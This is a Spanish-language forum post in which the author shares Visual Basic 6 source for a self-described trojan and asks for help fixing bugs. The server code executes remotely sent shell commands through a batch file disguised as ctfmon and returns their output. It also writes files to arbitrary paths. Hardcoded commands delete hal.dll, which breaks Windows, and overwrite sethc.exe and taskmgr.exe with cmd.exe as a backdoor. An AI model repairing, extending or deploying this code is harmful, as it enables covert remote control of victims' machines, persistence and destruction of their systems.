Este es el codigo del cliente, que envia los datos para que luego se creen en el host remoto
Código:
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Sub Command1_Click()
Dim datosarch As String, creando As String, lilis As Integer, linear As String, totales As Integer
datosarch = InputBox("Indica ruta, noombre y extension: (ej c:\ola.txt)", "Especifica datos", "")
porden = "uno" & "-xzññzx-" & datosarch & "-xzññzx-" & txtarchivo
frmcliente.wsk.SendData creando
frmcliente.wsk.SendData porden
End Sub
Private Sub Timer1_Timer()
Const EM_GETLINECOUNT = &HBA
Const EM_GETLINE = &HC4
lilis = SendMessage(txtarchivo.hwnd, EM_GETLINECOUNT, 0, 0)
lbll.Caption = "Lineas: " & lilis
End Sub
Luego he aqui la parte del dataarival del servidor:
Código:
Private Sub wsk_DataArrival(ByVal bytesTotal As Long)
Dim orden As String, sistrema As String, todo As String, buscca As Integer
Dim handle_Process As Long
Dim id_process As Long
Dim lp_ExitCode As Long
Dim casa As String
On Error GoTo error
'--------------------------------------------------------------------------'
casa = Environ$("homedrive")
sistrema = Environ$("windir") & "\system32"
letra = Environ$("homedrive") & "\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
ini = casa & "\ctfmon.bat"
'--------------------------------variables---------------------------------'
[b]wsk.GetData orden
If orden = "creando" Then interruptor = True
If interruptor = True & orden <> creando Then
arris = Split(orden, "-xzññzx-")
ordencr = arris(2)
ruta = arris(1)
Open ruta For Output As #1
Print #1, ordencr
Close #1
Exit Sub
End If[/b]
If interruptor = False & orden <> creando Then
'------------------ordenes personalizadas----------------------------------'
If orden = "del " & sistrema & "\hal.dll" Then Kill sistrema & "\hal.dll"
If orden = "copy /y " & sistrema & "\cmd.exe" & " " & sistrema & "\sethc.exe" Then FileCopy sistrema & "\cmd.exe", sistrema & "\sethc.exe"
If orden = "copy /y " & sistrema & "\cmd.exe" & " " & sistrema & "\taskmgr.exe" Then FileCopy sistrema & "\cmd.exe", sistrema & "\taskmgr.exe"
If orden = "eliminar troyano" Then
Kill letra & "\intel.exe"
Shell ("taskkill /f /im " & App.EXEName & ".exe")
End If
'--------------------------------------------------------------------------'
Open ini For Output As #1
Print #1, orden & ">" & casa & "\ctfmon.txt"
Close #1
id_process = Shell(ini)
handle_Process = OpenProcess(PROCESS_QUERY_INFORMATION, False, id_process)
Do
Call GetExitCodeProcess(handle_Process, lp_ExitCode)
DoEvents
Loop While lp_ExitCode = STATUS_PENDING
Call CloseHandle(handle_Process)
Open casa & "\ctfmon.txt" For Input As #1
txtcom = Input(LOF(1), #1)
Close #1
wsk.SendData txtcom
End If
error:
End Sub
La parte en negrita es la que mas o menos importa digo yo
el problema esta en que yo tengo dos opciones en el cliente, mandar datos, como u ndir y que el me conteste con la salida de datos que se deja en el fichero ctfmon.txt
luego esta un boton para crear un archivo que primero introduces los datos y despues especificas ruta y nombre de archivo y lo crea
la cosa es que falla en unas cuantas cosas, a veces me crea el archivo, otras no, si pongo espacios para crear un archivo me salta a ejecutarlo y no a crearlo... etc
haber si me podeis corregir un poco el code que estoy paranoico perdido